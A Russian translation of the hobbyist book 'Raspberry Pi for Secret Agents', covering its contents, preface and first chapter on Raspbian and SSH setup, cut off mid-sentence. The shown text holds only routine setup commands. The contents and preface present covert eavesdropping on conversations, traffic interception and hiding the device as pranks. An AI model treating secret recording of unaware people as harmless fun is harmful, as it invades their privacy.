Raspberry Pi для секретных агентов [Стефан Шогелид] (pdf) читать онлайн

Книга в формате pdf! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]

Raspberry Pi для секретных агентов,
второе издание

Превратите свой Raspberry Pi в собственный
набор инструментов секретного агента с помощью
этого набора захватывающих проектов.

Стефан Шогелид

Об авторе
Стефан Шогелид вырос в 1980-х годах в Швеции, увлекшись 8-битными
консолями, Amiga и BBS. Имея опыт системного и сетевого
администрирования, он собирал чемоданы для Юго-Восточной Азии и
продолжал работать в ИТ в течение многих лет, пока любовь и волшебный шар
восьмерки не посоветовали ему искать новые возможности на
североамериканском континенте.
Raspberry Pi - это последний гаджет, который привлек внимание Стефана, и
после долгих попыток и изучения уникальных свойств Pi, он запустил
веб-сайт PiLFS (http://www.intestinate.com/pilfs), который учит читатели,
как создать свой собственный дистрибутив GNU / Linux и приложения,
которые особенно полезны для Raspberry Pi.
Хочу поблагодарить Антона за то, что он терпел мои поздние
вечерние сочинения. Особая благодарность моему брату за
то, что он показал мне Юго-Восточную Азию, и моим
родителям за то, что они купили мне компьютер вместо
мопеда.

Оглавление
Предисловие
Глава 1: Готовимся к нехорошему

Краткий урок истории о Pi
Все плюсы и минусы Raspberry Pi
разъемы GPIO
Видеоразъем RCA
Аудиоразъем
Индикаторы состояния
USB
Сеть Ethernet
Разъем камеры CSI
HDMI
Питание
SD-карта
Установка ОС Raspbian на SD-карту
Получение NOOBS
Форматирование SD-карты
Запуск NOOBS
Загрузка и настройка Raspbian
Основные команды для исследования вашего Pi
Получение справки по командам
Доступ к Pi по сети с помощью SSH
Настройка проводной сети
Настройка сети Wi-Fi
Подключение к Pi из Windows
Подключение к Pi из Mac OS X или Linux
Важность скрытой установки
Поддержание вашей системы в актуальном состоянии

1
5

5
6
7
7
7
7
7
7
8
8
8
9
9
9
10
10
12
14
14
15
15
16
17
18
18
19

Резервное копирование SD-карты
Полное резервное копирование SD-карты в Windows
Полное резервное копирование SD-карты в MAC OS X
Полное резервное копирование SD-карты в Linux
Резюме

Глава 2: Звуковые выходки

19
20
21
22
24

25

Настройка аудиогаджетов
Представляем звуковую систему ALSA
Регулировка громкости
Переключение между HDMI и аналоговым аудиовыходом
Тестирование динамиков
Подготовка к записи
Тестирование микрофона
Отсечение, искажение обратной связи и улучшение качества звука
Запись разговоров для последующего извлечения
Запись в файл WAV
Запись в файл MP3 или OGG
Создание сочетаний клавиш с ярлыками
Обеспечьте безопасность ваших записей с tmux
Подслушивание разговоров на расстоянии
Прослушивание в Windows
Разговор в Mac OS X или Linux
Разговор с людьми на расстоянии
Разговор в Windows
Прослушивание в Mac OS X или Linux
Странные и чудесные искажения голоса
Ваш компьютер говорит
Планирование ваших звуковых действий
Запуск при включении
Запланированный старт
Управление продолжительностью записи
Начать запись с обнаружением шума
Вызов ваших коллег-агентов
Настройка SIP Witch
Подключение программных телефонов
Windows (MicroSIP)
Mac OS X (Telephone)
Linux (SFLphone)
Android (CSipSimple)
iPhone/iPad (Linphone)

[ ii ]

25
25
26
28
28
28
30
31
32
32
32
34
35
37
37
39
40
41
41
42
44
44
45
48
49
50
51
52
54

55
56
56
57
57

Table of Contents

Запуск софтфона на Pi

58

Шифрование паролей SIP Witch
Настройка Linphone
Воспроизведение файлов с Linphone

58
59
60

Бонусный однострочный семплер
Резюме

Глава 3: Мастер веб-камеры и видео

61
61

63

Настройка камеры
Встречайте драйверы USB Video Class и Video4Linux
Изучение модуля камеры
Знакомство с USB-веб-камерой

63
64
65
66

Захват цели на пленку
Просмотр камеры в медиаплеере VLC

68
71

Определение возможностей вашей веб-камеры

Просмотр в Windows
Просмотр в Mac OS X
Просмотр в Linux

67

71
72
72

73

Запись видеопотока
Запись в Windows
Запись в Mac OS X
Запись в Linu

73
74
74

Обнаружение злоумышленника и включение сигнализации
Создание начальной конфигурации движения
Попробуйте Motion
Сбор доказательств
Просмотр доказательств
Подключение дополнительных камер

74
75
77
80
82
82

Настройка движения для нескольких входных потоков
Строительство стены наблюдения за безопасностью
Просмотр камеры через Интернет
Включение и выключение телевизора с помощью Pi
Планирование видеозаписи или напуганного воспроизведения
Резюме

84
85
87
89
90
93

Подготовка потока с веб-камеры в Windows
Подготовка потока с веб-камеры в Mac OS X

Глава 4: Розыгрыши Wi-Fi - Исследование вашей сети
Обзор всех компьютеров в вашей сети
Мониторинг воздушного пространства Wi-Fi с помощью Kismet
Подготовка Kismet к запуску
Первая сессия Kismet
Добавление звука и речи
Включение обнаружения точки доступа Rouge

Составление карты вашей сети с помощью Nmap
[ iii ]

82
83

95
95
96

97
98
100
101

102

Узнаем, чем занимаются другие компьютеры
Как шифрование меняет правила игры
Журнал трафика
Серфинг через плечо в Elinks
Отправка неожиданных изображений в окна браузера
Удаление всех посетителей из вашей сети
Защита вашей сети от Ettercap
Анализ дампа пакетов с помощью Wireshark
Запуск Wireshark в Windows
Запуск Wireshark в Mac OS X

105
108
109
109
110
111
112
114
115
115

Динамическое DNS, переадресации портов и туннелирования
Динамический DNS

116
117

Запуск Wireshark в Linux

Выбор доменного имени
Проверка вашего доменного имени
Обновление вашего доменного имени

116

118
118
119

120

Экспедирование портов

121
122
123
124

Добавление правила переадресации
Проверка переадресации порта
Port forwarding security
Наконец подключено

Туннелирование

Туннелирование портов в Windows
Туннелирование портов в Linux или Mac OS X

124
125
127

Создание диверсии с помощью чат-бота
Представляем XMPP
Полезная ненормативная лексика

128
129
129

Сохранение разговоров в секрете с помощью шифрования
Резюме

135
138

Подключение к чату Facebook
Подключение к чату Google
Подключение к серверам XMPP
Как избежать ненормативной лексики
Проект AgentBot
Пробуждение бота

Глава 5: Отправляясь на бездорожье

Обеспечение работы Pi всухую с помощью корпуса и батарей
Настройка двухточечной сети
Создание прямого проводного соединения
Назначение статического IP-адреса в Windows
Назначение статического IP-адреса в Mac OS X
Назначение статического IP-адреса в Linux

[ iv ]

130
130
131
131
132
134

139
139
140
140
141
142
143

Table of Contents

Создание специальной сети Wi-Fi
Подключение к одноранговой сети Wi-Fi в Windows
Подключение к одноранговой сети Wi-Fi в Mac OS X
Превращение Pi в точку доступа Wi-Fi
Отслеживание местонахождения Pi с помощью GPS
Отслеживание положения GPS в Google Earth

144
146
147
147
150
151

Использование GPS в качестве источника времени

154

Подготовка GPS-маяка на Pi
Настройка Google Earth
Настройка регистратора путевых точек GPS
Отображение данных GPS от Kismet

Настройка GPS призагрузке

Управление Pi с помощью смартфона
Android (Raspi SSH)
iPhone / iPad (удаленный SSH)
Общие команды дистанционного управления
Получение обновлений статуса от Pi
Пометка твитов с помощью GPS-координат
Отправка обновлений по электронной почте
Планирование регулярных обновлений
Доступ к файлам откуда угодно с Dropbox
Хранение ваших данных в секрете с помощью шифрования
Стирание Pi, если он попадет в чужие руки
Шифрование вашего дома с помощью eCryptfs
Оснащение механизма самоуничтожения
Резюме
Выпускной

[v]

152
152
153
153

155

156
157
157
158
159
162
164
166
166
168
171
171
173
177
178

Предисловие
Raspberry Pi был разработан с целью популяризации основ информатики в
школах, но Pi также представляет собой долгожданное возвращение к простым,
увлекательным и открытым проектам.
Использование гаджетов для целей, отличных от тех, которые предназначены
для озорства и шалостей, всегда было важной частью внедрения новой
технологии и создания ее собственной.
Имея компьютер Raspberry Pi за 25 долларов и несколько обычных
USB-гаджетов, любой может позволить себе стать секретным агентом.

О чем эта книга
В главе 1 «Готовимся к нехорошему» рассказывается о первоначальной настройке
Raspberry Pi и его подготовке к скрытым операциям без подключения к Интернету.
В главе 2 «Звуковые выходки» вы узнаете, как подслушивать разговоры или
разыгрывать друзей, передавая свой собственный искаженный голос на расстоянии.
В главе 3, Мастер веб-камеры и видео, показано, как настроить видеопоток с
веб-камеры, который можно использовать для обнаружения злоумышленников или
для постановки запугивания при воспроизведении.
В главе 4 «Шутки с Wi-Fi - исследование вашей сети» рассказывается, как
перехватывать трафик, проходящий через вашу сеть, управлять им и следить за
ним.
В главе 5, «Отправляясь на бездорожье», вы узнаете, как зашифровать ваш Pi и
отправить его в командировки, оставаясь на связи через смартфон, GPS и
обновления Twitter.

Preface

Что вам понадобится для этой книги
Для максимального удовольствия рекомендуется следующее оборудование:


Компьютер Raspberry Pi (модель A, B или B +)



SD-карта (минимум 4 ГБ)



USB-концентратор с питанием (проекты проверены с Belkin F5U234V1)



ПК / ноутбук под управлением Windows, Linux или Mac OS X с
внутренним или внешним устройством чтения SD-карт.



USB-микрофон



Модуль камеры или веб-камера USB (проекты проверены с Logitech C110)



USB-адаптер Wi-Fi (проекты проверены с TP-Link TL-WN822N)



USB-приемник GPS (проекты проверены с Columbus V-800)



Литий-полимерный аккумулятор (проекты проверены с помощью DigiPower JS-Flip)



Телефон Android или iPhone (проекты проверены с HTC Desire и
iPhone 4s)

Все программы, упомянутые в этой книге, является бесплатными и могут быть
загружены из Интернета.

Для кого эта книга
Эта книга предназначена для всех озорных владельцев Raspberry Pi, которые хотели
бы, чтобы их компьютер превратился в изящный шпионский гаджет, который можно
было бы использовать в серии розыгрышей и проектов. Для работы с книгой не
требуется никаких предыдущих навыков, и если вы новичок в Linux, вы усвоите
большинство основ в процессе ознакомления с материалом книги.

[2]

Готовимся к нехорошему
Добро пожаловать, друзья-шутники и озорники, в начало вашего пути к более
незаметному образу жизни. Естественно, вам всем не терпится приступить к
работе с интересными вещами, поэтому мы посвятим эту первую короткую
главу только основным шагам, которые вам понадобятся для запуска и работы
Raspberry Pi.
Сначала мы поближе познакомимся с нашим гаджетом, а затем рассмотрим
установку и настройку операционной системы Raspbian.
В конце этой главы вы сможете подключиться к Raspberry Pi через локальную
сеть и быть в курсе последних и лучших программ для вашего Pi.

Краткий урок истории о Пи
Raspberry Pi - это компьютер размером с кредитную карту, созданный
некоммерческой организацией Raspberry Pi Foundation в Великобритании. Все
началось, когда парень по имени Эбен Аптон (ныне сотрудник Broadcom) собрался
со своими коллегами в компьютерной лаборатории Кембриджского университета,
чтобы обсудить, как они могут вернуть тот вид простого программирования и
экспериментов, который был широко распространен среди детей в 1980-х годах на
домашних компьютерах, таких как BBC Micro, ZX Spectrum и Commodore 64.
После нескольких лет работы Фонд разработал два дизайна Raspberry Pi.
Модель B за 35 долларов была выпущена первой, примерно в феврале 2012
года, изначально с 256 МБ оперативной памяти. Вторая ревизия с 512 МБ ОЗУ
была анонсирована в октябре 2012 года, а модель A за 25 долларов поступила в
продажу в следующем году, в феврале 2013 года.
В июле 2014 года, когда по всему миру было продано более 3 миллионов Pis, Фонд
представил Raspberry Pi Model B +, последнюю версию платы за 35 долларов,
включающую многочисленные улучшения, запрошенные постоянно растущим
сообществом Pi.

Готовимся к нехорошему

В следующей таблице показаны различия между моделями Raspberry Pi:
Что на борту?

Модель A

Модель B

Модель B+

Память (RAM)

256 MB

512 MB

512 MB

USB порты

1

2

4

Тип карты памяти

Стандартная SD

Стандартная SD

Micro SD

Потребляемая
мощность

300 mA (1.5 Вт)

700 mA (3.5 Вт)

600 mA (3.0 Вт)

Сеть Ethernet

нет

да

да

Все плюсы и минусы Raspberry Pi

В основе Pi лежит система Broadcom BCM2835 на кристалле (SOC) - представьте себе все
стандартные аппаратные компоненты ПК, встроенные в небольшой чип. ЦП называется
ARM1176JZF-S, работает на частоте 700 МГц и принадлежит к семейству ARM11
архитектуры ARMv6. Что касается графики, Pi оснащен графическим процессором
Broadcom VideoCore IV, который достаточно мощный для такого крошечного устройства и
способен воспроизводить видео в формате Full HD. На следующем рисунке показана
Raspberry Pi Model B:

Плата Raspberry Pi Model B с отображением основных компонентов

[6]

Глава 1

Разъемы GPIO

На краю платы мы находим контакты ввода / вывода общего назначения
(GPIO), которые, как следует из названия, могут использоваться для любых
общих работ и для взаимодействия с другими устройствами.

Видеоразъем RCA

Видеоразъем RCA предназначен для композитного видеовыхода, который мы
можем использовать для подключения Pi к одному из этих старых телевизоров с
помощью соединительного кабеля RCA. На модели B + этот разъем совмещен с
аудиоразъемом.

Аудиоразъем
Мы можем получить звук из Pi, либо через кабель HDMI, подключенный к
монитору, либо через аналоговый аудиоразъем 3,5 мм с помощью наушников
или настольных динамиков.

Индикаторы состояния
Индикаторы состояния используются, чтобы сообщить нам, чем сейчас занимается
Pi. Они имеют следующие значения:


Зеленый свет с надписью ACT будет мигать всякий раз, когда Pi
обращается к данным с SD-карты.



Красный индикатор с надписью PWR должен гореть постоянно, пока на Pi
подается питание.



На модели B три оставшихся светодиода загораются, когда сетевой
кабель подключен к порту Ethernet USB.

USB

Порты USB 2.0 позволяют нам подключать клавиатуры, мыши и, что наиболее важно
для нас, ключи Wi-Fi, микрофоны, видеокамеры и приемники GPS. Мы также можем
расширить количество доступных USB-портов с помощью USB-концентратора с
автономным питанием.

Сеть Ethernet

Порт Ethernet позволяет нам подключать Pi к сети с максимальной скоростью
100 Мбит / с. Чаще всего это домашний маршрутизатор или коммутатор, но его
также можно подключить напрямую к ПК или ноутбуку. Для проводных сетевых
подключений используется витая пара категории 5.

[7]

Готовимся к нехорошему

Разъем камеры CSI

Последовательный интерфейс камеры (CSI) - это то место, где официальный
модуль камеры Raspberry Pi подключается с помощью гибкого плоского
кабеля.

HDMI

Разъем мультимедийного интерфейса высокой четкости (HDMI) используется для
подключения Pi к современному телевизору или монитору. По кабелю можно
передавать видео с высоким разрешением до 1920 x 1200 пикселей и цифровой
звук. Он также поддерживает функцию под названием Consumer Electronics Control
(CEC), которая позволяет нам использовать Pi в качестве пульта дистанционного
управления для многих распространенных телевизоров.

Питание
Вход питания на Raspberry Pi - это разъем Micro-USB типа B на 5 В постоянноготока.
Затем для питания Pi подключается источник питания со стандартнымкабелем
USB-micro-USB, например, обычное зарядное устройство для сотовоготелефона.
Самые частые проблемы, о которых сообщают пользователи
Raspberry Pi, без сомнения, вызваны недостаточным источником
питания и энергоемкими USB-устройствами. Если вы испытываете
случайные перезагрузки или ваш порт Ethernet или подключенное
USB-устройство внезапно перестает работать, вполне вероятно, что
ваш Pi не получает достаточно стабильного питания.

Блок питания 5,25 В, 1 А с кабелем USB - Micro-USB

Взгляните на описание, напечатанное на адаптере питания. Напряжение
должно составлять от 5 В до 5,25 В, а сила тока должна быть не менее 700
мА. Настоятельно рекомендуется официальный источник питания 2А.
[8]

Глава 1

Вы можете помочь своему Pi, переместив свои устройства на USB-концентратор с
автономным питанием (концентратор, у которого есть собственный источник питания).
Также обратите внимание, что Pi очень чувствителен к устройствам, которые
вставляются или удаляются во время работы, и питание вашего Pi от
USB-порта другого компьютера обычно не работает.

SD карта

SD-карта - это то место, где живут все наши данные, и Pi не запустится, если
она не вставлена ​в слот. Raspberry Pi Model A и B использует SD-карту
стандартного размера, а Model B + использует крошечный Micro SD.
SD-карты обладают широким спектром возможностей хранения данных. Для
проектов, описанных в этой книге, рекомендуется карта с объемом памяти
не менее 4 ГБ.
SD-карты также имеют номер класса, который указывает скорость чтения /
записи карты - чем выше, тем лучше.

Установка
ОС Raspbian на SD-карту
.
Компьютеры не могут делать ничего полезного без операционной системы, и Pi
не исключение. Чтобы помочь нам добавить его, мы будем использовать
простой менеджер установки операционной системы под названием New Out
Of The Box Software (NOOBS). NOOBS позволит нам выбирать из обширного
списка операционных систем, доступных для Pi, но мы будем придерживаться
официально рекомендованной ОС - дистрибутива Raspbian GNU / Linux.

Получение NOOBS

Есть два основных способа получить NOOBS. Вы можете либо купить его,
предустановленный на SD-карте, у дилера Raspberry Pi, либо загрузить NOOBS
самостоятельно и скопировать его на пустую SD-карту на компьютере со слотом
для SD-карты.
Если у вас есть доступ к компьютеру, но на нем нет слота для
SD-карты, разумным выбором будет приобретение внешнего
устройства чтения / записи SD-карт. Они недороги, и есть
вероятность, что вы рано или поздно захотите переустановить или
попробовать другую операционную систему на своей SD-карте.

[9]

Готовимся к нехорошему

Чтобы загрузить NOOBS, посетите сайт http://www.raspberrypi.org/downloads,где у
вас есть возможность загрузить полный установщик, который включает образ
операционной системы Raspbian размером около 740 МБ, или облегченный пакет,
который позволяет вам выбирать другие операционные системы для установки через
проводное соединение Ethernet. Просто нажмите на ссылку для получения полного
ZIP-файла и дождитесь начала загрузки или используйте торрент-ссылку, если
хотите, но мы не будем рассматривать это в этой книге.

Форматирование SD-карты
Прежде чем мы скопируем NOOBS на SD-карту, она должна быть пустой и отформатированной
в файловой системе FAT. Для этого вы можете использовать собственное приложение
операционной системы вашего компьютера или, желательно, утилиту SD Formatter,
предлагаемую SD Association по адресу
http://www.sdcard.org/downloads. Выполните следующие шаги, чтобы отформатировать
SD-карту:
1. Загрузите и установите утилиту для Windows или Mac.
2. Вставьте SD-карту и запустите приложение.
3. Убедитесь, что SD Formatter определил правильный объем вашей SD-карты.
4. Нажмите кнопку «Параметры» и включите настройку размера формата.
5. Нажмите «Форматировать», чтобы стереть и отформатировать SD-карту:

SD Formatter, работающий в Windows

Запуск NOOBS

Хорошо, вы достаточно долго были терпеливы; пришло время покататься на
вашем Пи!
Отформатировав SD-карту и завершив загрузку NOOBS, извлеките ZIP-файл
NOOBS и скопируйте все содержимое на SD-карту.
[ 10 ]

Глава 1

Чтобы избежать потери данных, не забывайте всегда безопасно
извлекать SD-карту из компьютера, щелкнув правой кнопкой мыши
значок SD-карты и выбрав «Извлечь».

Для этого первого рейса рекомендуется не спешить с периферийными
устройствами, пока мы не настроим Pi должным образом и не проверим базовую
стабильную работу. Подключите USB-клавиатуру и мышь, монитор или телевизор,
а также адаптер Wi-Fi или кабель Ethernet, подключенный к домашнему роутору.
Наконец, вставьте SD-карту и подсоедините кабель питания.
Через несколько секунд вы должны увидеть запуск NOOBS с напоминанием
о том, что если вы когда-нибудь захотите вернуться к NOOBS в будущем, для
восстановления или опробовать другую операционную систему, просто
удерживайте клавишу Shift, когда увидите сообщение.
Если ваш дисплей остается пустым несколько минут,
попробуйте понажимать цифровые клавиши от 1 до 4, чтобы
переключаться между различными режимами вывода видео.

Наконец, установите флажок рядом с Raspbian и щелкните значок «Установить».

Выбор Raspbian для установки в NOOBS

Установка займет около 20 минут в зависимости от скорости вашей SD-карты.
[ 11 ]

Готовимся к нехорошему

Загрузка и настройка Raspbian

После того, как NOOBS завершит установку Raspbian и ваш Pi будет
перезагружен, вы должны увидеть, как на вашем дисплее прокручивается текст.
Это сообщения о состоянии загружаемого ядра Linux.

raspi-config application running on first boot

Вывод будет остановлен через минуту, и вам будет представлено приложение типаменю
под названием raspi-config. Используйте клавиши со стрелками для навигациии нажмите
клавишу Enter, чтобы выбрать параметры меню. Доступны следующиеварианты меню:


Expand Filesystem: эта опция полезна только тогда, когда вы записываете
образ Raspbian напрямую на SD-карту, без использования NOOBS. Для нас
этот шаг уже пройден.



Change User Password: выберите этот параметр, чтобы изменить по
умолчанию пароль для пользователя pi. Это настоятельно рекомендуется. На
всякий случай, если вы забудете его, пароль по умолчанию - raspberry.



Enable Boot to Desktop/Scratch: эта опция автоматически запускает
графический рабочий стол или среду программирования Scratch при
каждой загрузке Pi. Поскольку в этой книге мы в основном будем
работать с командной строкой, рекомендуется оставить этот параметр
как есть.



Internationalisation Options: это меню позволяет добавлять в систему
неанглийские языки и раскладки клавиатуры. Что еще более важно, он
позволяет вам установить соответствующий часовой пояс, потому что от
этого зависит любое расписание, которое мы будем использовать в
следующих главах. Также хорошо иметь соответствующее время в файлах
журнала.
Enable Camera: выберите этот параметр, если у вас есть модулькамеры,
подключенный к разъему CSI на плате Raspberry Pi.



[ 12 ]

Глава 1



Add to Rastrack: это совершенно необязательный способ добавления
вашего Pi на онлайн-карту (http://rastrack.co.uk), которая
отслеживает, где люди используют Raspberry Pi по всему миру.



Overclock: эта опция позволяет вам добавить турбо-ускорение к Pi.
Экспериментируйте с разгоном только после того, как убедитесь, что ваша
система стабильно работает со скоростью по умолчанию. Также обратите
внимание, что хотя разгон не приведет к аннулированию гарантии Pi, он
может сократить срок его службы.
Меню Advanced Options содержит следующие параметры:
• Overscan: если вы видите толстые черные границы вокруг синего фона
на вашем мониторе, выберите этот параметр и disable - отключите,
чтобы они исчезли при следующей загрузке Pi.













Hostname: Имя хоста: этот параметр позволяет вам изменить имя вашего Pi,
как оно отображается на других компьютерах в вашей локальной сети. Ваш
домашний роутер должен преобразовать это имя в соответствующий IP-адрес
Pi, как мы увидим позже в этой главе. Имя хоста по умолчанию - raspberrypi.
Memory Split: этот параметр позволяет вам изменить объем памяти вашего Pi,
который может использовать графический процессор (GPU). Чтобы использовать
модуль камеры или воспроизводить HD-фильмы, графическому процессору
требуется 128 МБ ОЗУ.
SSH: выберите этот параметр, чтобы включить или отключить службу Secure Shell.
SSH - очень важная часть нашей настройки и позволяет нам удаленно входить в
систему Pi с другого компьютера. Он активен и включен по умолчанию, так что
пока оставьте этот параметр в покое.
SPI: этот параметр включает поддержку определенной группы
дополнительных плат, которые подключаются к разъему GPIO Pi.
I2C: этот параметр включает поддержку группы дополнительных микросхем,
которыеобщаются через I2C, например, модули часов реального времени.
Serial: этот параметр разрешает или запрещает обмен данными с Pi через
последовательный кабель и терминальное приложение, работающее на другом
компьютере.
Audio: этот параметр можно использовать для принудительного вывода
звука через HDMI или аналоговый аудиоразъем.
Update: этот параметр попытается обновить само приложение raspi-config до
последней версии. Вы можете пока оставить эту опцию в покое, так как мы
позаботимся о том, чтобы программа была обновлена позже в этой главе.

Когда вы будете довольны конфигурацией, выберите « Finish - Готово» и «Yes Да», чтобы перезагрузить Pi.
При появлении запроса на вход в систему raspberrypi введите «pi» в качестве
имени пользователя и введите пароль, который вы выбрали.
[ 13 ]

Готовимся к нехорошему

Основные команды для исследования вашего Pi
Теперь, когда вы вошли в систему, давайте взглянем на несколько из нескольких
сотен возможных команд, которые вы можете ввести в командной строке. Когда
команда запускается с добавлением sudo, она запускается с привилегиями
суперпользователя или root. Это эквивалент пользователя-администратора в
мире Windows.
Команда

Описание

sudo raspi-config

Запускает raspi-config, который позволит вам
перенастроить вашу систему.

sudo reboot

Перезагружает Pi.

sudo poweroff

Подготавливает Pi к выключению. Всегда вводите
это перед тем, как вынуть вилку из розетки!

sudo su

становится пользователем root. Только будьте
осторожны, чтобы ничего по ошибке не удалить!

df / -h

Отображает объем доступного дискового
пространства на SD-карте.

free -h

Отображает информацию об использовании памяти.

date

Здесь отображается текущее время.

top

Он запускает диспетчер задач, который показывает
запущенные процессы с приложениями, наиболее
требовательными к ЦП. Нажмите Q, чтобы выйти.

exit

Он выведет вас из текущей оболочки или сеанса SSH.

sudo touch /forcefsck

Это позволит вашему Pi проверить / восстановить
корневую файловую систему при следующей загрузке.
Это полезная команда, если вы подозреваете, что
данные вашей SD-карты могут быть повреждены.

Получение помощи с командами
Вот несколько приемов, которые помогут вам освоить командную строку Linux:


Command tab completion: Завершение вкладки команд: если вы не
можете вспомнить точное название команды, но думаете, что она
начинается с raspi, начните вводить первые несколько букв и дважды
нажмите клавишу Tab, чтобы получить список всех команд,
начинающихся с этих букв. . Завершение табуляции также может
сэкономить вам немного времени при вводе путей к каталогам и имен
файлов.
[ 14 ]

Глава 1



Manual pages: к большинству команд прилагается руководство, в котором более
подробно описано использование команды. Например, чтобы прочитать
руководство для верхнего приложения, введите man top. Используйте клавиши
со стрелками для прокрутки и нажмите Q, чтобы выйти.



Built-in help: большинство команд можно попросить распечатать текст
справки об их использовании. Два наиболее распространенных
аргумента - это --help и -h. Например, чтобы увидеть текст справки по
команде ls, введите ls --help.

Доступ к Pi по сети с помощью SSH
Практически все розыгрыши и проекты в этой книге будут выполняться из
командной строки при удаленном входе в Pi через сеть через SSH. Прежде
чем мы сможем это сделать, нам нужно убедиться, что наш Pi доступен, и нам
нужно знать его IP-адрес. Сначала рассмотрим проводные сети, затем Wi-Fi.

Настройка проводной сети
Итак, вы подключили соединительный кабель Ethernet к Pi и подключили его к
домашнему маршрутизатору, что теперь? Что ж, должны быть всевозможные
мигающие огни как вокруг порта вашего роутера, так и на вашем Pi.
Следующее, что должно произойти, - это чтобы маршрутизатор назначил
IP-адрес Pi, используя протокол динамической конфигурации хоста (DHCP).
DHCP - это обычная служба сетевого оборудования, которая раздает
уникальные IP-адреса всем компьютерам, которые хотят присоединиться к
сети.
Давайте посмотрим на адрес, назначенный порту Ethernet (eth0) на самом Pi,
используя следующую команду:
pi@raspberrypi ~ $ ip addr show eth0

Если ваша служба DHCP работает правильно, вы должны увидеть
строку, подобную следующему выводу:
inet 192.168.1.20/24 brd 192.168.1.255 scope global eth0

Цифры между inet и символом / - это IP-адрес вашего Pi, в данном случае
192.168.1.20.
Если в вашем выводе нет строки, начинающейся с inet, скорее всего, в вашем
роутере отсутствует служба DHCP или ее необходимо включить или настроить. Как
именно это сделать, выходит за рамки этой книги, но почитайте руководство для
вашего роутера и выполните поиск по запросу dhcp.
[ 15 ]

Готовимся к нехорошему

Информацию о настройке сети со статическим адресом без DHCP см. В разделе
«Настройка двухточечной сети» в главе 5 «Использование Pi в бездорожье».

Настройка сети Wi-Fi

Самый простой способ настроить сеть Wi-Fi - использовать прилагаемое
графическое приложение WiFi Config. Поэтому мы кратко войдем в графическую
среду рабочего стола, настроим Wi-Fi и сохраним информацию, чтобы ключ Wi-Fi
автоматически связался с вашей точкой доступа при загрузке.
Если у вас под рукой есть USB-концентратор, вы захотите подключить клавиатуру,
мышь и адаптер Wi-Fi прямо сейчас. Хотя вполне возможно выполнять
следующие действия, используя только клавиатуру, мышь будет очень удобна:
1. Введите startx, чтобы запустить графическую среду рабочего стола.
2. Нажмите кнопку «Меню» и выберите «Конфигурация Wi-Fi» в разделе
«Настройки».
3. В раскрывающемся меню Network выберите Add - добавить.
4. Введите информацию о своей точке доступа и нажмите кнопку Add - добавить.
Если вы не уверены в типе аутентификации вашей точки доступа, нажатие
«Scan - Сканировать» может помочь вам в этом разобраться.

Добавление точки доступа в Wi-Fi Config
[ 16 ]

Глава 1

5. Ваш адаптер Wi-Fi сразу же подключится к точке доступа.и должен
получить IP-адрес, указанный на вкладке Current Status (Текущий статус).
6. В раскрывающемся меню File выберите Save Configuration (Сохранить конфигурацию).
7. Закройте приложение и выйдите из среды рабочего стола.
Чтобы узнать об арендованном IP-адресе вашего адаптера Wi-Fi (wlan0), не заходя
на графический рабочий стол, используйте следующую команду:
pi@raspberrypi ~ $ ip addr show wlan0

Вы должны увидеть строку, похожую на следующий результат:
inet 192.168.1.15/24 brd 192.168.1.255 scope global wlan0

Цифры между inet и символом / - это IP-адрес вашего Pi, в данном случае
192.168.1.15.
Чтобы получить информацию о связанной точке доступа и качестве сигнала,
используйте команду iwconfig.

Подключение к Pi из Windows
Мы будем использовать приложение под названием PuTTY для подключения к
службе SSH на Pi. Необходимо выполнить следующие шаги:
1. . Чтобы загрузить приложение, посетите этот адрес http:
//www.chiark.greenend.org.uk/~sgtatham/putty/download.html.
2. Загрузите комплексный установщик Windows под названием
putty-0.63-.installer.exe, поскольку утилиты копирования файлов
пригодятся в следующих главах.
3. Установите приложение, запустив установщик.
4. Запустите PuTTY с помощью ярлыка в меню «Пуск».
5. В поле Имя хоста (или IP-адрес) введите IP-адрес вашего Pi, который мы
узнали ранее. Если ваша сеть предоставляет удобную локальную
службу DNS, вы можете ввести raspberrypi. (с точкой в конце) вместо
IP-адреса; попробуйте и посмотрите, работает ли это.
6. Нажмите Open (открыть),чтобы инициировать подключение к Pi.
7. При первом подключении к Pi или любой другой системе через SSH вам будет
предложено предупреждение и возможность проверить отпечаток ключа RSA
удаленной системы, прежде чем продолжить. Это функция безопасности,
предназначенная для обеспечения подлинности удаленной системы. Поскольку
мы знаем, что наш Pi действительно является нашим Pi, выберите Yes (Да),
чтобы доверять этому ключу и продолжить соединение.
[ 17 ]

Готовимся к нехорошему

8. Войдите в систему как pi и введите пароль, который вы выбрали ранее, с помощью
raspi-config.
9. Теперь вы вошли в систему как пользователь pi. Когда у вас будет достаточно
розыгрышей за день, введите exit, чтобы завершить сеанс SSH.

Подключение к Pi из Mac OS X или Linux

И Mac OS X, и Linux поставляются с SSH-клиентами командной строки. Следуйте этим шагам:
1. Откройте терминал (расположенный в / Applications / Utilities на Mac).
2. Введите следующую команду, но замените [IP-адрес] наконкретный IP-адрес
вашего Pi, который мы узнали ранее:
$ ssh pi@[IP address]

Если ваша сеть предоставляет удобную локальную службу DNS, вы можете
ввести raspberrypi вместо IP-адреса, попробуйте и посмотрите, работает ли он.
3. При первом подключении к Pi или любой другой системе через SSH вам будет
предложено предупреждение и возможность проверить отпечаток ключа RSA
удаленной системы, прежде чем продолжить. Это функция безопасности,
предназначенная для обеспечения подлинности удаленной системы. Поскольку
мы знаем, что наш Pi действительно является нашим Pi, выберите Да, чтобы
доверять этому ключу и продолжить соединение.
4. Введите пароль пользователя pi, который вы выбрали ранее с помощью raspi-config.
5. Теперь вы вошли в систему как пользователь pi. Когда у вас будет
достаточно розыгрышей за день, введите exit, чтобы завершить сеанс
SSH.

Важность хитрой бессмысленной установки
Вам может быть интересно, почему мы вообще беспокоимся о SSH и вводим что-то в
командной строке, когда Raspbian поставляется с прекрасной графической средой
рабочего стола и целым репозиторием приложений с графическим интерфейсом. Что ж,
первая причина заключается в том, что нам нужна вся мощность процессора, которую
мы можем получить от Pi для наших проектов. С текущими графическими драйверами
для X (графическая система) рабочий стол потребляет слишком много ресурсов Pi, а ЦП
больше озабочен перерисовкой причудливых окон, чем запуском наших озорных
приложений.

[ 18 ]

Глава 1

Вторая причина - невидимость и скрытность. Обычно мы хотим иметь возможность
скрыть наш Pi с помощью как можно меньшего количества проводов, идущих
туда-сюда. Очевидно, что Pi, спрятанный в комнате, становится намного более
заметным, если кто-то спотыкается о подключенный монитор или клавиатуру. Вот
почему мы гарантируем, что всеми нашими розыгрышами можно управлять и
запускать из удаленного места.

Поддержание вашей системы в актуальном
состоянии
Усилия сообщества, такие как Raspbian и дистрибутив Debian, на котором он
